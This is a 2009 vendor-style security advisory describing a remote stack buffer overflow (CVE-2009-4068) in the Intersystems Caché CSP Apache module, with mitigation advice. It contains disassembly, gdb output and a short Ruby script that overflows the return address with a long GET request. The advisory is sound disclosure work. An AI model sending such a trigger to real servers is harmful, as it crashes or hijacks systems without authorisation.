

MWR InfoSecurity Security
Advisory

Intersystems Caché CSP
(Caché Server Pages) Stack
Overflow

17th December 2009



CONTENTS

1	Detailed Vulnerability Description	5
1.1	Introduction	5
1.2	Technical Background.....	5
1.3	Exploit Information	5
1.4	Dependencies	6
2	Recommendations.....	7

Intersystems Caché CSP (Caché Server Pages) Remote Code Execution

Package Name:	Intersystems Caché CSP (Caché Server Pages) Stack Overflow
Date:	2009-10-27
Affected Versions:	2009.1.1.504.0su_Inxrh6x86 has been tested, it is expected more platforms and older versions are also vulnerable.

CVE Reference	CVE-2009-4068
Author	A. Plaskett
Severity	High Risk
Local/Remote	Remote
Vulnerability Class	Stack Based Overflow
Impact	Remote Code Execution
Vendor Response	Attempts to contact the vendor have been made via CPNI. However, no response has been forthcoming. The decision to release this advisory was taken after exploit code became publicly available.
Exploit Details Included	Limited details are included.
Affected OS	Linux, Windows
Dependencies	Network access to the vulnerable CSP httpd server.

Overview:

A stack based buffer overflow vulnerability exists in Intersystems Caché CSP (Caché Server Pages) Apache extension which can be exploited by a remote attacker to execute arbitrary code in the context of the web server's user rights.

MWR InfoSecurity have made the decision to release this advisory due to the current existence of exploit code for the vulnerability within the public domain.

It should be noted that this vulnerability was also found recently by other security researchers and exploits were created for the Metasploit and Canvas exploitation frameworks. MWR InfoSecurity independently discovered this vulnerability and disclosed details of it to the vendor through CPNI in October 2009.

MWR InfoSecurity discovered and researched this issue on the Linux platform, whilst the Canvas and Metasploit exploits both target Microsoft Windows systems. This advisory details the vulnerability on the Linux platform and therefore provides further information about the issue that may be of value to interested parties.

The following links provide more information about this vulnerability as documented by other security researchers: -

<http://www.securityfocus.com/bid/37177>

http://www.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/http/intersystems_cache.rb



<https://forum.immunityinc.com/board/thread/1077/intersystems-cache-bof/?page=1#post-1077>

Impact:

An attacker exploiting this vulnerability can cause arbitrary code to be executed in the context of the Apache process.

Cause:

The vulnerability arises from lack of bounds checking when copying data into a fixed size stack buffer.

Interim Workaround:

Introduce host based or network filtering controls to restrict access to the affected service to authorised IP addresses only although this might not be appropriate when legitimate access to the HTTP service is required.

Solution:

A full solution will required vendor intervention.

Timeline:

2009-09-01 – Vulnerability discovered on client test

2009-10-27 – Advisory delivered to CPNI

2009-11-09 – CVE number assigned.

2009-12-16 – No vendor response, advisory released when exploit code became publicly available.

1 Detailed Vulnerability Description

1.1 Introduction

The Caché database is developed by InterSystems and is described as follows on the company's web site:

“CACHÉ is the innovative object database that runs SQL five times faster than relational databases. Caché enables rapid Web application development, extraordinary transaction processing speed, massive scalability, and real-time queries against transactional data - with minimal maintenance requirements.”

Source: <http://www.intersystems.com/Caché/index.html>

It is possible to access a Caché database through a web application by deploying Caché Server Pages (CSP) code. The CSP functionality is described as follows:

“Server Pages bring all the capabilities of Caché to the demanding environment of the Web, where rapid development and adaptability are as important as high performance and scalability. Caché eliminates the extra processing layers and system-level programming that make Web development difficult and Web applications sluggish. Compatible with off-the-shelf tools, Caché Server Pages are the simplest, quickest way to create superfast, massively scalable Web applications.”

Source: <http://www.intersystems.com/Caché/technology/components/csp/index.html>

1.2 Technical Background

The vulnerability exists due to a lack of bounds checking performed when copying data to a fixed sized stack buffer (256 bytes) using the 'strcpy' function. An attacker can provide a sufficiently long HTTP GET request string which is processed by the CSP handler (csprt function) within the cspa22.so library. This request string will be copied into a fixed size stack buffer and will overflow into other data stored on the stack (causing memory corruption).

```

0x00140b44 <csprt+5015>:    mov     eax,DWORD PTR [ebp-0x188] ;
0x00140b4a <csprt+5021>:    mov     eax,DWORD PTR [eax+0x10] ; eax = &src
0x00140b4d <csprt+5024>:    mov     DWORD PTR [esp+0x4],eax ; push &src
0x00140b51 <csprt+5028>:    lea    eax,[ebp-0x8d2]
0x00140b57 <csprt+5034>:    mov     DWORD PTR [esp],eax ; push dest
0x00140b5a <csprt+5037>:    call   0x119f10 <strcpy@plt>
    
```

1.3 Exploit Information

In order to exploit this vulnerability an attacker can overflow the buffer into the saved return address stored on the stack. This can be achieved by crafting an HTTP GET request with an amount of data which overflows the return address. On the Linux RedHat version tested (2009.1.1.504.0su_Inxrh6x86) it was possible to overwrite the return address with 2041 bytes prefixed with the directory name /csp/.

The following Ruby code can be used to illustrate the vulnerability being triggered:

```
require 'socket'

# 2241 to overwrite EIP with 4 bytes
overflow = "A" * 2241

request = "GET /csp/#{overflow} HTTP/1.0\r\n\r\n"

s = TCPSocket.new('172.16.201.145', 57772)

s.write request
```

The following output from 'gdb' shows the saved return address overwritten by 0x41414141 (AAAA).

```
(gdb) bt 5
#0 0x00140b5f in csprt () from /home/****/cache/csp/bin/CSPa22.so
#1 0x41414141 in ?? ()
#2 0xb7e3f000 in ?? ()
#3 0x00000002 in ?? ()
#4 0xbfb9afb4 in ?? ()
```

When the function 'csprt' returns, the attacker controlled address will be popped off the stack and loaded into the instruction pointer (EIP register). This will allow an attacker to gain control of the flow of execution of the program. It should be noted that certain operating system/compiler security features prevent this form of exploitation on recent builds. However, it is possible to construct such an exploit that bypasses the protection mechanisms in place due to the large amount of memory corruption that occurs and the flexibility it offers an attacker.

MWR InfoSecurity have produced proof of concept code for this vulnerability which allows attacker controlled code execution to occur in the context of the HTTP process.

1.4 Dependencies

Exploiting this vulnerability relies on an attacker being able to send HTTP requests to the Apache server with the CSP handler installed. Therefore, network filtering could partially mitigate this vulnerability and would limit exploitation to those users/network devices.

2 Recommendations

It is recommended that the software should be upgraded to the latest stable and secure version when this becomes available from the vendor. Until then, it is possible to reduce the potential for exploitation by deploying network filtering to deny unauthorised users access to the Apache HTTP server with the CSP handler installed.

MWR InfoSecurity
St. Clement House
1-3 Alencon Link
Basingstoke, RG21 7SB
Tel: +44 (0)1256 300920
Fax: +44 (0)1256 844083
mwrinfosecurity.com